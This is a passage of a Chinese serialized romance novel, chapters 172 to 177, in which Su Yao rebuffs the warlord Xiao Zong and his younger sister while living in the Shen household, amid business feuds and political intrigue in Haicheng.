萧纵回神，身体也跟着晃了晃，车童连忙扶了他一把，他吐了口气，有气无力道：“开车。” 车童连忙将他扶进了车里。 萧纵却又想起了刚才沈知聿的那句话，骑马？ 下着雨呢，骑什么马？ 他一定是故意说给自己听的！他一定猜到了刚才打他的是自己。 他怎么有脸显摆的？横刀夺爱，他就一点都不羞愧吗？ 以前怎么没发现沈知聿这么不要脸。 这个，这个狐狸精！ 他窝着一肚子火回了帅府，还不等下车，萧茵就冲了出来，扒着车门往里面看，瞧见只有萧纵一个人，咬着嘴唇低下了头。 萧纵叹了口气，“别着急，苏姚还没消气，等她消了气，就会回来了。” “我想去找她，” 萧茵小声开口，语气却很坚定，“如果我去找她，她一定会回来的。” 萧纵眼神暗了暗，他不是没在苏姚面前提起萧茵，但是…… 他们兄妹两个，之前做的真的是太过分了。 他叹了口气，在萧茵头上揉了一把，“你不能出去，这几天外头乱成了什么样，你是知道的，你如果出了事怎么办？” “可是……” “没有可是。” 萧纵打断了她，“我迟早会把她带回来的，你在家里等着就行了，去喊医生过来，我得换药了。” 萧茵看了眼门口，轻轻一咬牙，却什么都没说，只去找了医生。 第172章 再见萧茵 第二天一早，萧茵用完早餐就要出门。 萧纵不能久坐，正站在客厅里看军报，瞧见她往外头走，下意识开口，“去干什么？不是停课了吗？” “褚家的小儿子约我看书。” 萧茵说着话已经出了门，萧纵跟着走了两步，“别多呆，外头不太平。” “知道了。” 话音落下，人已经跑走了，萧纵有些无奈，一年不见，他和这个妹妹好像也生疏了不少，但他实在没时间关注这些，他的事情太多了。 帅府被慢慢落在身后，萧茵回头看了一眼，确定没有人跟着自己，连忙吩咐司机，“改道，我要去沈公馆。” 司机一愣，“不是说要去褚家吗？” “让你去沈公馆你就去，” 萧茵加重了语气，咬牙开口，“我要把苏姚接回来。” 苏姚那么在乎她，拼了命也要救她，她怎么会真的生她的气呢？ 所以只要看见自己，她一定会跟自己回来的。 她捏着衣角，眼神逐渐坚定起来。 车子慢慢停在沈公馆门前，门房认识萧茵，毕竟萧纵和沈知聿走得近，两家难免会有来往，只是看见她自己过来，很有些惊讶。 “萧茵小姐，您稍等，小的这就去禀报我家爷。” “不用，” 萧茵连忙打断他，“我就是来找知心姐姐说说话。” 她下意识不想惊动沈知聿，虽然萧纵不让她出来找苏姚，可她也听见了不少消息，其中最重要的一条，就是苏姚现在和沈知聿的关系。 她不知道两个人怎么会走在一起，但很清楚，沈知聿肯定会拦着不让苏姚走。 “不要惊动沈家大哥，听见了吗？” 她不放心地又叮嘱了门房一句。 门房迟疑着答应下来，将她放了进去，萧茵故作平静的进了门，等没人注意自己的时候，才加快脚步往前走。 她想着先去找找沈知心，从她那里把苏姚的住处套出来，再去找人，却没想到，一进沈知心的院子，就看见苏姚坐在廊下，正在给沈知心扎头发。 也不知道沈知心说了什么，苏姚忽然抬手揉揉她的头，包容又温柔地笑了一声。 庭前芭蕉摇晃，雨声扑簌，将眼前的一切衬托得静谧美好。 萧茵骤然想起两人相处的场景来，瞬间红了眼眶。 “你是谁？” 身后忽然响起声音，她被惊得回神，这才看见有佣人送了茶水点心过来，对方大概没见过她，眼底都是警惕，“你怎么会在小姐的院子里？这里闲杂人等是不能进来的。” 萧茵长这么大，还没被这么嫌弃过，一时间既委屈又生气。 “我是帅府的小姐。” 她咬牙开口，可佣人大约是新来的，并没见过她，满脸都是狐疑。 萧茵气得小脸涨红，却有些不知道怎么自证身份。 “萧茵？你怎么在这里？” 苏姚的声音及时响起来，她心里一喜，猛地扭头看过去，眼睛也在这一瞬亮了起来。 佣人困惑，“太太认识她？” “嗯，”苏姚应了一声，“这是帅府的小姐，你是和谁来的？” 后半句是问得萧茵，萧茵忍不住往前走了两步，“我自己来的，我来接你回去。” 苏姚一怔，摇头失笑，这孩子，竟然还没忘了她。 但她的到来，没有任何意义。 “去给帅府打电话，请他们来接小姐回去。” 佣人连忙答应着下去了，萧茵却慌了，她下意识开口，“我不走！苏姚，你没听见吗？我是来找你的！” 她以为苏姚只是离家出走了一次而已，实在不明白她为什么不回去了。 她软下声音，撒着娇恳求：“苏姚，你就跟我……” “她是你的长辈。” 沈知心忽然打断了她，绷着小脸开口，“你怎么能直呼她的名字？” 萧茵一愣，有些无措，她喊苏姚的名字，不对吗？ 所有人都是这么喊的啊…… 她茫然地看着苏姚，一时竟不知道该说什么好。 苏姚倒是不在意，语气如同在帅府时那般平和温柔，“进来吧，雨又下起来了。” 萧茵连忙顺着这个台阶下了，快步走了过来。 她看着苏姚，闻着她身上熟悉的香味，鼻梁酸得厉害，眼见苏姚抬起了手，她下意识想凑过去，可那只手却落在了沈知心的头上。 “我们继续，还没编完。” “好呀，辛苦嫂子。” 沈知心应了一声，两人重新坐回了椅子上。 “你也坐，有你喜欢的小蛋糕。” 苏姚倒也没忘了萧茵，微笑开口，她没有刻意冷落，没有针对报复，甚至还记得她喜欢的东西，算是十分体贴温柔了。 可萧茵还是听出了客气和疏离，仿佛她只是一个登门拜访的陌生人而已。 她们以前，不是这样的。 她孤零零站在原地，眼巴巴地看着两人，眼眶越来越红，一股莫大的委屈在胸腔里翻涌。 以前，苏姚明明只看得见她的。 委屈逐渐变成了愤怒，她猛地上前一步，伸手去拽沈知心，“你闪开，这里是我的位置，苏姚是我的！” 可沈知心想读军校，一直有在练拳，哪里是她能拉动的？ 这一下不但没能把人拉起来，反而被对方推了一下，她踉跄两步，一屁股坐在了地上。 不算疼，可萧茵还是哭了起来，她流着眼泪看向苏姚，等着对方来哄自己。 苏姚的确上前一步，却是将沈知心上下看了一遍，随即才看过来，好看的眉头蹙了起来，“你在干什么？” 她在质问，神情很严厉，是从未有过的样子。 萧茵睁大了眼睛，不敢置信地看着她—— 摔倒的是自己啊，苏姚为什么要去管沈知心？ 眼泪越流越凶，她哭得哆嗦，几乎看不清眼前的画面。 不知过了多久，一方帕子探过来，擦去了她眼角的泪水。 看清楚面前那张脸是苏姚时，萧茵心里的委屈更重，却仍旧张开了手，想扑进苏姚怀里去。 可对方却轻轻摁住了她的肩膀，“回去吧，以后别来这里了，我和帅府，已经没有关系了。” 第173章 我在你眼里就是这样的人 萧茵愣住，没有关系了？ 什么叫没有关系了？ 她抱住苏姚的胳膊，小脸上都是慌乱，“你就是离家出走而已，怎么能不回去呢？我再和你道歉好不好，这么久了你还没有消气吗？” 苏姚将帕子放进她手里，目光平和。 萧茵误会了，会离家出走的人有两种，一种是觉得自己的离开对留下的人是惩罚，另一种则是单纯地想和过去割舍。 她从不觉得自己的离开，会对萧家兄妹造成什么影响，她再清楚不过，自己在他们心里的分量，所以生气什么的根本就是无稽之谈，她只想远离他们，换个活法。 若非有人需要她，她这辈子都不会再回来的。 所以，再次见到萧茵，她心里有波澜，但绝对不是高兴，只是她不会针对一个孩子做什么，只想请她离开。 “萧茵，我再说一次，我和帅府，和少帅，和你，从来都没有关系，以后别再来了。” 萧茵彻底慌了，抱着苏姚的胳膊不肯撒手，可苏姚却十分坚定地推开了她。 “苏姚，苏姚……” 她哭喊起来，爬起来要去追。 “萧茵。” 熟悉的声音忽然从门口传过来，萧茵侧头，就看见萧纵站在门口，克制着没有进去。 “大哥，你快劝劝苏姚，她不肯跟我回去。” 萧纵神情复杂，虽然上次和苏姚提起萧茵的时候，她的态度已经很明显了，但亲眼看见她对萧茵的冷淡，心脏还是沉了下去。 他深深看了一眼苏姚，才克制着开口，“给你添麻烦了。” 苏姚已经重新坐回椅子上，继续给沈知心梳头发了，闻言只是淡淡地瞥了他一眼，“少帅客气了，凭你和知聿的交情，这算不得麻烦，但还是请多用些心吧，如果真的出了什么事，我沈家担待不起。” 我沈家？ 萧纵默默念了几遍这句话，脸色暗了暗，却没再说什么，只看向萧茵，“回去吧。” “我不走。” 萧茵不但没有靠近，反而摇着头往后退，“她不回去我就不走。” 她说着又朝苏姚看过去，既是恳求又是质问，“苏姚，你真的不要我了吗？” 拿着梳子的手顿了一下，苏姚很无奈，这兄妹两个，都是一副样子。 她给沈知心扎好发尾，起身朝萧纵走了过去。 萧纵心脏一跳，一瞬间竟然紧张到指尖发麻。 萧茵让她心软了吗？ 两人重逢以来，这还是她第一次主动朝自己走近。 他无意识地蜷了蜷指尖，却根本不能缓解那股麻木，反倒是心脏跳得越来越快。 “苏姚……” 他无声呢喃一句，随着尾音落下，苏姚已经走到了面前，只与他隔着一道门槛。 “少帅，我本来不想把话说得这么明白的，但你实在是让我意外。” 这话风听着不对，萧纵满心莫名，“什么？” “让这么大的孩子来博同情，少帅就没想过，路上会不会出事吗？” 苏姚抬眸，定定看着他，“我以为你不管如何，对萧茵这个妹妹都是真心疼爱的，现在看来，我对少帅，还真是不了解。” 萧纵瞳孔霍的放大，明白过来苏姚的意思。 “你觉得，萧茵来这里，是我故意的？” 苏姚没有回答，但眼底的嫌恶说明了一切。 萧纵气得发抖，他知道自己不是个好东西，可他什么时候这么算计过自家人？ 苏姚啊苏姚，我把你当金丝雀的那些年，难道没有算计过你吗？ “你就是这么看我的？” 他伸手就来抓苏姚的手，却被她轻轻一抬手就避开了，两人之间明明只隔着一道门槛，此时却仿佛隔着天堑。 手僵在半空，许久之后萧纵才收回去，她双眼紧紧盯着面前的人，“你真的觉得，我会下作到利用我唯一的亲人？” 苏姚没开口，却转身就走，路过沈知心的时候，才轻声开口，“替我送客。” 萧茵听见了，连忙要去追，被沈知心拦住，“萧家妹妹，帅府的教养，应该不是在别人家里大喊大叫吧？” 萧茵被狠狠噎住，眼看着苏姚的身影慢慢消失在眼前，她眼里又掉下泪来，苏姚竟然对她这么冷漠…… “你回去吧。” 沈知心拉住她的手，把她牵到了门口，“嫂子身体不好，她需要静养，你不要再来打扰她了。” 她说着就要关门，萧纵却抬手抵住了门板，哑声开口，“她又发病了？” “这是沈家的家事，不便多言，请少帅见谅。” 沈知心一口回绝，小小年纪，不卑不亢。 萧纵没再纠缠，沉默地收回了手。 “大哥，苏姚真的和我们没关系了吗？” 萧茵红着眼睛看他，萧纵在她脸上囫囵擦了两下，却没保证什么，只叹了口气，“你听话一点，以后不要乱跑了，很危险。” 像是为了验证他的话，租界那边又传来了爆炸声。 萧茵吓得一抖，下意识就想进去找苏姚。 可院门关得严实，她根本推不开。 脑海里也想起了苏姚刚才只管沈知心的样子，心里既难过又委屈，回去的路上一直在抽噎。 “别哭了。” 他将车子停在门口，却迟迟没下车，只点了根烟，靠在车门上沉默地抽。 萧茵跳下车，红着眼睛看他，“大哥，苏姚是不是因为有了沈家姐姐，才不想要我的？” 萧纵一顿，他没想到，萧茵竟然会有这种想法。 毕竟还是孩子，她只知道自己说错了话，却不知道那些话会造成多大的伤害，更不知道，苏姚为她受了多少苦。 “茵茵，不要怀疑苏姚对你的感情。” 他下了车，艰难地蹲下身体，盯着萧茵的眼睛，“你记不记得她替你挡得那一枪？” 萧茵当然记得，可她不知道萧纵为什么要提这个，眼底都是茫然。 “因为那一枪，她留下了病根。” 萧纵低声开口，又想起了苏姚发作时，在他怀里颤抖的样子，心脏控制不住的抽搐起来，他抬手轻轻搭在了萧茵的肩膀上，哑着嗓子将苏姚的事情说给萧茵听。 说她睡不着的夜晚，说她喊不出口的哀鸣。 萧茵的小脸白了下去，“我不知道，我不知道……她为什么不告诉我？” 萧纵叹了口气，揉了揉萧茵的发丝，因为苏姚在乎你啊。 她不想因为这件事，让你愧疚，让你难过。 可越是因为这样，才越不能原谅。 “对不起，对不起……” 萧茵捂着脸哭起来，她想起了自己帮着秦芳年欺负苏姚的样子；也想起了她对苏姚恶语相向的画面，如果易地而处，她真的要恨死自己了。 “大哥，你再让我见见苏姚吧。” 她抱着萧纵的胳膊恳求，“我想和她好好道歉。” 萧纵哪里还敢？ 再送萧茵过去一趟，不就是在苏姚那里，坐实了自己是个畜生的事实？ 她看自己的眼神…… 他轻轻吸了一口气，语气强硬起来，“不准再自己乱跑，不然我就要罚你了。” 萧茵小脸鼓起来，推开他的手，气冲冲地跑上了楼。 萧纵被她推得身体一晃，险些栽到，萧翼连忙来扶了一把，他叹了口气，“真不中用。” 萧翼无奈，“医生都说了要静养，你还非要乱跑。” 静养？ 萧纵看了眼二楼的窗户，等他把苏姚带回来，再治好她的腿疾，他一定能好好地静养。 第174章 被排挤了 送走萧家兄妹，苏姚松了口气，打开地图看了起来。 这是沈知聿给她标出来的，他知道的关于萧纵去过的所有地方。 只是萧纵的车不好跟，很多次半路上就跟丢了，所以地点并不全，而且上面的大部分地方，沈知聿也已经趁着人不在海城的时候搜过几遍了，却并没有找到半分唐黎的线索。 她指腹一个个摩挲过去，心里一叹，关于萧纵在外头的事情，她真的知道得太少了，如今看来，帅府简直像一座笼子，把她和外面的世界隔绝了开来。 “明天……” 她仔细比对着地图上的位置，琢磨着明天去哪里侦查合适。 电话忽然响了起来，她没动，女佣去接了电话，很快就走了过来，“太太，何太太说上百盛有何家的新店开业，请您去捧场。” 苏姚指尖一顿，慢慢将手指挪到了上百盛的位置。 那里的确有两间帅府的铺子，更准确的说是萧太太遗留的产业，既然借口都送过来了，那就顺理成章地过去一趟吧。 第二天一早，苏姚就出了门，沈知聿照旧送她过去，下车的时候，沈知聿在众目睽睽之下亲了亲苏姚的侧脸。 时间一久，沈知聿慢慢养成了习惯，动作十分自然。 “小心一点，我就在这附近，有事就喊我。” 苏姚应了一声，和他交换了一个眼神，转身朝何家的新店走去。 何太太已经迎了上来，身后还跟着几位年轻女子，苏姚记忆力好，大部分都是熟面孔，其中大约也有人还记得她，看过来的眼神很奇怪。 苏姚没有理会，瞧见何太太的时候，笑得有些假，“这次何太太请我，可是真心的？” 何太太笑容尴尬，殷勤地挽住了她的胳膊，“妹子别怪罪我，上次的事我也是逼不得已，少帅有权有势，我家老爷不过是个商人，天生的矮一头，哪里得罪得起啊，今天请你过来，绝对是真心的，就是特意给你赔罪的，咱们生意来往密切，可千万不能因为这种小事，生了嫌隙。” 苏姚抿唇没开口，心里却是相信这话的。 毕竟昨天刚讽刺了萧纵一顿，他那个人骄傲得很，怎么可能受得了这种气？ 接下来几天，他应该都不会再露面了。 “谁不想安生过日子？何太太昨天可是害得我和我家先生好一通解释。” 何太太连连道歉，拉着苏姚往里走，“是我给妹子添乱了，为了表达我的诚意，今儿你看上什么，都算我的。” 苏姚眼睛一亮，“真的？” 身后响起窃笑声，大约在笑苏姚上不了台面，在帅府的时候这样，到了沈家还这样。 但苏姚的心态却已然不同，早些年听见这种耻笑，她肯定是要无地自容的，恨不能藏起来再也不露面，可现在，她满脑子想的都是这些东西能换多少钱，买多少药和粮食，救多少人的命。 和那些比起来，这点嘲笑算什么？ 何太太却回头瞪了众人一眼，虽然她这会长夫人一向是有话语权的，可什么地方都有刺头。 一短发女子凉沁沁开口，“我说何太太，你何家和沈家再亲近，也不能不管以后吧？谁不知道这位以前是谁的人，明目张胆的是红杏出墙，指不定什么时候就被人一枪崩了，你怎么想的，竟然还上赶着往跟前凑，你就不怕被迁怒，也吃了枪子啊？” “你胡说八道什么？” 何太太忍不住骂了一声，这人纱厂周家的儿媳，据说身上流着皇室的血，一向自持身份，骄傲得很。 可再怎么骄傲，也不能当面说这种话啊。 她正要说点什么把这茬糊弄过去，就被人拉着胳膊，拽得离苏姚远了一些。 众人显然觉得苏姚没几天好活了，说话十分不客气，“何太太，小周太太说的没错，你真是糊涂了，这种人咱们可不能沾。” “就是，你要沾也不能连累我们，早知道你会邀请她，我们可就不来了。” “何太太，你总不会觉得沈爷真能为了一个女人，和少帅对上吧？” 众人你一言我一语，吵得何太太一个头两个大。 她当然不会主动沾染苏姚，可萧纵找上门来，她哪能不帮忙？ 帮忙的时候，她也没想到苏姚胆子那么大，一点面子都不给萧纵啊，她也后悔答应帮忙了，可事情已经成了定局，她总不能在没帮上萧纵的时候，再和沈家有龃龉吧？ 她是为了缓和与沈家的关系，才只能硬着头皮请苏姚过来的，此时被众人这么七嘴八舌地说了一通，心里也乱了起来，很是尴尬地看向苏姚。 “妹子，真是对不住……” 苏姚也不计较，正好可以分开去萧家的铺子逛逛，“既然都这么不欢迎我，那我日后绕着你家铺子走就是了。” 她转身就走，一道身影却迎面挡住了去路。 第175章 没有脾气 熟悉的烟草味飘过来，苏姚不用抬头就知道来人是谁。 何况，那双被军靴包裹着的长腿，还映入了眼帘。 她是真没想到，萧纵会出现在这里，尤其是昨天刚被撵走之后…… 难道是和这些人一起，来嘲讽她的？ 还是说，这些人本就是他授意的？ 这么说不大准确，因为萧纵还不至于如此自降身份，但很多事情根本不用他说，只要他露出来一点意思，自然就会有人为他冲锋陷阵。 她抓紧了手包，目光看向不远处的铺子，那是沈家的铺子，沈知聿就在里面查账。 暂时不能让他和萧纵对上。 她转身就往反方向走，却再次被人拦住了去路。 “苏小姐去哪啊？” 小周太太抱臂，好整以暇地看着她，“来都来了，怎么能这么就走呢？” “就是，咱们还没逛铺子呢。” 其他人看热闹不嫌事大，纷纷上前拦住了她的去路。 “让开。” 苏姚活动了一下手指，她看得出来这些人是故意的，那话里的幸灾乐祸简直铺面而来。 但她现在可不打算和以前似的，继续忍了。 她抬脚逼近一步，小周太太不但没让路，反而捂着嘴笑了起来，和身边的人挤眉弄眼。 何太太有些过意不去，忍不住开口，“你们这是做什么？” “哎呀何太太，可不敢掺和呀。” 烟厂的崔太太开口，说着话将何太太拉到了一旁，小声嘀咕，“少帅都找过来了，显然是算账来的，可不敢包庇她。” “就是，红杏出墙还敢大摇大摆地出来，她不倒霉，谁倒霉？” 其他人纷纷附和，大约是笃定苏姚不会有好下场，她们的音量并没有降低，反倒是提高了几分，像是故意说给她听的一样。 何太太本就只是想劝两句意思意思，现在被人一说，立刻就闭了嘴，和几位太太一起往后退了两步，等着看戏。 苏姚捏紧了拳，抬脚就要直接冲过去。 “苏姚，” 萧纵终于开口，“我路过瞧见你，才过来见见，没别的意思，你别急着走，进去逛逛吧，都记帅府的账。” 他语气十分温和，不但没有小周太太等人以为的疾言厉色，恼怒暴躁，甚至话里还带了几分讨好，许是这幅态度太出乎意料，周遭的窃笑声瞬间停了，众人面面相觑，都不敢置信地看了过来。 这是那个一言不合，就炸了小半个海城的萧少帅？ 他是疯了吗？ 面对一个红杏出墙的女人，不但没有狠狠报复，反而这么和风细雨？ 这发展太过出乎意料，惊得众人一时都没了言语。 苏姚却丝毫不给面子，“你装什么？我与这些人无冤无仇的，这么排挤我，你敢说和你无关？” 这话戳得萧纵心口憋屈的厉害，他在苏姚心里，到底是多么下作的一个人？ “我都不认识她们……” 苏姚却根本不想听他解释，说完话自顾自就要走，萧纵下意识地伸手去拉她。 “啪”的一声脆响，他的手被狠狠打开，苏姚转过身来，戒备又冷漠地看着他。 以往，萧纵总觉得苏姚那憎恨的眼神最让人受不了，可现在他才发现，比起憎恨，冷漠更让人窒息、 伸出来的手慢慢被收了回去，他声音低了几分，“我只是想和你说几句话……” 苏姚愣了愣，她还以为自己能把他气走呢，没想到…… 难道自己带走的那个方子，真的那么重要？ 她不敢确定，却总觉得萧纵这不合常理的态度很危险。 “少帅，你想让我说多少遍？” 她加重了语气，“我真的不想再见到你。” 这话萧纵已经从她口中听了很多次，可再次听见，心口还是坠得厉害，但他强行压了下去，他今天来，是想带苏姚去看看腿。 “你不想见我可以，先把你的腿治好，等治好了，我们再说别的，行吗？” 他试着又去牵苏姚的手，却再次被避开。 苏姚抬眸看过来，一字一顿道，“可是，我宁肯疼着，也不想再和你扯上关系。” 萧纵手一僵，他知道苏姚恨他，恨他不信任她；恨他拿药挟持她；也恨他拿着利益，一再的衡量她。 可怎么能因为恨，就连腿疾都不管了呢？明明那么疼…… “苏姚，你冷静一点……” “我拦不住少帅去哪里，” 苏姚打断他，“但如果再有今天这种情况，我会离开海城。” 话音落下，她转身就走。 “等等。” 萧纵失声开口，两个大兵上前，拦住了她的去路。 苏姚抓着手包的手骤然一紧。 萧纵这是耐心用尽，要来硬的吗？ 她隔着手包，摸了摸里面的东西，这才慢慢转身看过来。 萧纵脸上没有自己想象中的恼怒，或者讥讽，他静静看着自己，然后退了一步，“你不用走，我走。” 苏姚一愣，她这是，威胁到萧纵了吗？ 那张方子，还真是好用。 其余人也愣住了，所有人都看着萧纵来了又走，别说找苏姚算账了，他甚至连句大声的话都没说。 这，太始料未及了。 何太太的脸色变了又变，末了，腆着脸笑起来，“我怎么说的来着？妹子你是真有本事。” 她说着上前去挽苏姚的胳膊，苏姚回神，握住她的手，用力拽了下去，“何太太这话可不敢当，我这指不定什么时候就吃枪子的人，可不敢当何太太一声妹子，日后何家的店，我可不敢来了。” 何太太的脸色骤变，其余人的神情也不好看了起来，纷纷上前打圆场，试图将刚才的事情揭过去。 苏姚充耳不闻，推开人就走。 她的身影很快就消失在了人群里。 萧纵隔着车窗一直看着她，等看不见了，才合眼靠在了副驾驶上。 萧翼小心翼翼地看了眼萧纵的脸色，上回萧纵被人当众下面子，还是萧远山的寿宴，代价是对方的武器库被炸了。 这次…… “把这些人都记下来，” 萧纵抬手摸了下胳膊上那隐隐作痛的伤口，冷笑出声，“欺负我的人，真是活腻歪了。” 萧翼愣了愣才反应过来他这是把怒气撒在了旁人身上，心下一松，连忙答应下来，将门口的人都记在了脑海里，确定没错之后，又想起另一茬，犹豫着开口，“那，我们以后还跟着苏小姐吗？” 第176章 先一步下手 苏姚回去的路上，就觉得身后有人，她几次试图查看，却都没能发现。 对方的反侦察技术在她之上，她不敢暴露太多，索性当做没发现，径直回了沈公馆。 沈知聿半个小时后才回来，她连忙将这件事情说了，“你说，是不是我行动得不够谨慎，被人发现了？” 如今的海城不同以往，海城办事处的设立，既是针对萧纵，也是为了侦查他们。 沈知聿倒是没那么紧张，“是帅府的人，我刚才回来的时候，看见帅府的车鬼鬼祟祟地藏在巷子里。” “是他啊。” 苏姚却并没有因此放松，反而是眉头皱得更紧，“这人现在越来越难缠了，以前明明一气就跑的，他会不会真的在怀疑我？” 沈知聿神情古怪，有没有可能，萧纵是真的对你动了心思，才这么穷追不舍的呢？ 他欲言又止，最后还是选择了只字不提，萧纵这种人，冷酷势力，什么都能舍弃，和他谈感情，无异于自掘坟墓。 唐黎就是个活生生的例子。 “我想办法给他找点麻烦，让他不能再盯着你。” 沈知聿开口，苏姚感激一笑，“麻烦你了。” “别这么客气。” 沈知聿起身就要走，可刚迈开脚步，就又停了下来，弯腰在苏姚额头上亲了亲。 苏姚仰头看着他，“在家里，也要这样吗？” 沈知聿顿了一下，这才想起来已经回了沈公馆，没必要做戏，他哑然失笑，“对不住，不知不觉就习惯了。” “那先习惯着吧，” 苏姚也觉得好笑，“小心驶得万年船。” 两人对视一眼，都忍不住笑了。 “对了，” 沈知聿想起正事，“今天有人欺负你了？” “小事而已，怎么传到你耳朵里去了？” 苏姚有些新奇，她从来没被人问过是不是被欺负了，尤其是沈知聿还是一副要给她出头的样子，“你忙你的，不用管这些。” “那怎么行？” 沈知聿开口反驳，见苏姚仰头看过来，指尖一痒，不自觉抬手揉了下苏姚的发顶。 他忽然想起来，萧纵好像也很喜欢揉苏姚的发顶。 他连忙收回手，掩饰性地咳了一声，“欺负你，就是欺负我，这个场子必须找回来。” 苏姚心头暖了一下，离开海城之后她才真正体会到，相互扶持，相互支撑是什么感觉。 “其实当时我很想动手的。” 可惜萧纵在，没顾得上。 她可惜地摇了下头，“小周太太我见过，她那个男人才最可恶，之前酒会上还占我便宜，你当她为什么针对我？就是因为这个，等咱们的事办完了，我一定要找机会，揍他们一顿。” 苏姚咬牙切齿地攥了下拳头。 沈知聿有些惊讶，“周昌宗竟然敢？” 苏姚那时候可是萧纵的人。 苏姚无奈一笑，“仗着我不敢说罢了，真说了，萧纵处理谁可就说不准了。” 沈知聿一时竟不知道能说什么，萧纵再怎么着也不至于不讲理到这个地步，苏姚对他的误会，怎么会深到这个地步？ 他有心提萧纵解释一句，可又怕造成无法承担的后果，犹豫再三，还是咽了下去。 “我替你讨回来。” 他忍不住，又摸了下苏姚的发顶，转身快步出了门。 电话很快被打了出去，电话那边是沈家的大掌柜，“东家，真是巧了，正想给您打电话。” “和周家所有的合作都断了，都欺负到我头上来了。” 沈知聿说完自己的吩咐，才再次开口，“你找我什么事？” 大掌柜却顿了一下，片刻后才开口，“我要说的，就是周家的事，刚才周家来电话，说要登门赔罪，请您高抬贵手，还说要把货八折给咱们，小的也不知道怎么回事就去查了，您猜怎么着？” 沈知聿心里隐约有了猜测，“没人要周家的货了？” “真是您干的？！” 大掌柜语气激动起来，“眼下不光没人收他家的货了，连原材料都给断了，颜料，棉麻，全都取消了合作，东家，虽然不知道周家做了什么，但这么做是不是太绝了？” 沈知聿轻叹一声，大掌柜也知道事情做得绝啊？ 像是他这种生意场上的人会做的吗？ 他们又不是死敌。 但都到这个地步了，他也不会援手。 “不用再理会周家了。” 大掌柜虽然不明所以，但一向信服沈知聿，闻言不再多说，答应着挂了电话。 沈知聿又拨了个电话出去，才起身就出了门，外头又下起了小雨，他没撑伞，径直拐进了巷子。 帅府的车还停在那里，后座的车帘拉着，看不清里面的人，司机瞧见他出来，下意识低了下头，试图遮住自己的脸，他没有理会，径直去敲了后座的车窗。 “谈谈。” 萧翼顾不得再隐藏，连忙钻出驾驶室，“就我一个人，沈爷别多想。” 沈知聿面无表情地看他一眼，目光再次落在后座上，“敢做不敢认啊？周家的事你干的吧？” 车里有人轻啧了一声，随即车门被打开，萧纵出现在眼前。 他胳膊上的伤口还在渗血，他正叼着绷带给自己换药包扎。 沈知聿本想搭把手，被萧纵躲开了，“看见你就烦。” 他闷声闷气地开口，等绷带系好，他才抬头看过来，满脸的混不吝，“什么周家？” 沈知聿还以为他不想承认，正要追问，萧翼就先开了口，“纱厂那个周家，今天那群人里的一个，还有烟厂的崔家，肥皂厂的……” “行了行了。” 萧纵摆摆手，“那就是我干的了，有问题吗？” 沈知聿咬牙，“我家的事，用你管吗？我难道不会处理？” “她是我的！” 萧纵咬牙切齿地开口，“你等着，等我腾出手来，让你去要饭，我看苏姚到时候还要不要你。” 沈知聿被他气笑了，“行，你就胡来吧，我等着你对我下手。” 他转身走了，萧纵气地踹了下椅子，“你看看他那副样子，嚣张，嚣张至极！” 萧翼不敢劝，只能讪讪附和。 冷不丁两道影子一前一后地自眼角划过，萧纵话音一顿，眼睛眯了起来，有人在盯着沈知聿？ “去查查，谁的人。” 第177章 两害相权 两人的身份很好查，至少对萧纵来说，没费什么功夫。 “是办事处的人。” 萧翼将两页资料递过来，“是周宝成从南城带过来的，算是心腹，特意让这样的人盯着，沈爷摊上什么事了？” 他有些纳闷，以往有萧纵护着，可没人敢动沈知聿。 “办事处能查什么人？” 萧纵反问一句，盯着那两页材料看，神情已经危险了起来。 萧翼被这么一问，脸色也变得很精彩，他不敢置信道，“沈爷难道是反动分子？开什么玩笑？他好好的日子不过，为什么要掺和这些事？” “他是不是，得看有没有人需要他是了。” 萧纵漫不经心地开口，说话间将资料在茶炉上点燃，扔进了篓子里。 萧翼的脸色却不大好看了起来，“那，沈爷出事，会不会……” “会啊。” 萧纵从怀里掏出个怀表，指腹摩挲过上头有些模糊的人脸，“肯定会牵连她，你找个合理的由头把人解决了，别真把火烧到他身上去，就算真的要烧……” 他将怀表抵在唇上亲了亲，“也得等我把她带回来之后。” 萧翼答应一声，正要退下去，孙少甫忽然来了，他是闯进来的，身边还跟着褚英，两人的脸色都不大好看。 萧纵挑了下眉，“稀客啊，怎么了这是？” 孙少甫擦了把脸上的汗，一句话不说，只看着他叹气，萧纵轻笑一声，“孙处长这是哑巴了？” “你怎么还笑得出来？” 褚英忍不住开口，“我说少帅，你不会觉得周何几家的事，没人知道是谁干的吧？” 萧纵搓了下指尖，“我敢做，就敢认，怎么着，你是来替他们兴师问罪的？” 听出他话里的不悦，褚英缓和了语气，“我怎么能是这个意思？主要是你动静太大了，周家我就不提了，你怎么能连何家的铺子都封了呢？孙处长，你快和他说说。” 孙少甫这才开口，“少帅，本来这些小事，咱们是不该叨扰的，可办事处成立之初，这些人家可都是赞助过的，还是褚公子牵的线，这何家还在上头面前露过脸，如今忽然出了这种事情，我们不好交代啊。” “我帅府被炸了好几回，你们办事处，也没给我交代啊。” 萧纵扯了下嘴角，笑意却不达眼底。 孙少甫一时无言以对，褚英忍不住了，压低声音开口，“海城最近的混乱，你我都清楚是怎么回事，少帅，见好就收吧，事情不能一直闹下去。” 萧纵哂了一声，懒懒靠在沙发上，“你这话我听不懂，海城的混乱，我怎么知道是怎么回事呢？我被炸成这样，也没能查出来是谁干的呀？” 褚英也没了言语，这件事，的确是办事处理亏，或者说是总统理亏，但人家是总统，萧纵总得低头的。 “少帅，人在屋檐下，不得不低头，” 褚英在他身边坐下来，叹了口气开口，“这次和谈要是成了，少不得就要开始剿匪了，咱们都知道他们不成气候，剿匪成功是必然的，接下来可就要拿你开刀了，这种时候，你真的该和萧伯父学一学，早早低头，未雨绸缪。” 萧纵无意识地摩挲着手里的怀表，“说起这个，我倒是想问问，萧家的人都去哪了？他的那些人，凑个整编师很容易吧？怎么就只是个师呢？” 褚英被问得哑口无言，孙少甫连忙岔开了话题，“这自然得去问萧师座，眼下咱们还是得想想怎么平息这件事吧，海城已经乱成了这样，要是再出些什么事，少帅面上也不好看，还请您高抬贵手。” 萧纵没开口，只是给自己点了根烟，只是还不等抽，就先捂着胸口咳了起来，好一会儿，他才哑着嗓子开口，“如果……我说不呢？” 褚英站了起来，脸色变得十分难看，倒是孙少甫仍旧平和，他叹了口气，“少帅，明人不说暗话，这租界被炸是意外，几家被查出了问题也是意外，任何一个都在办事处的职权内，可这两个意外合在一起，那就不是意外了，一旦惊动了专员，谁的日子都不好过。” 萧纵轻轻敲了下烟灰，侧头朝孙少甫看了过去：“怪不得，当初孙主任只身一人，就敢来海城，这份胆气，这份通透，真是难得啊。” 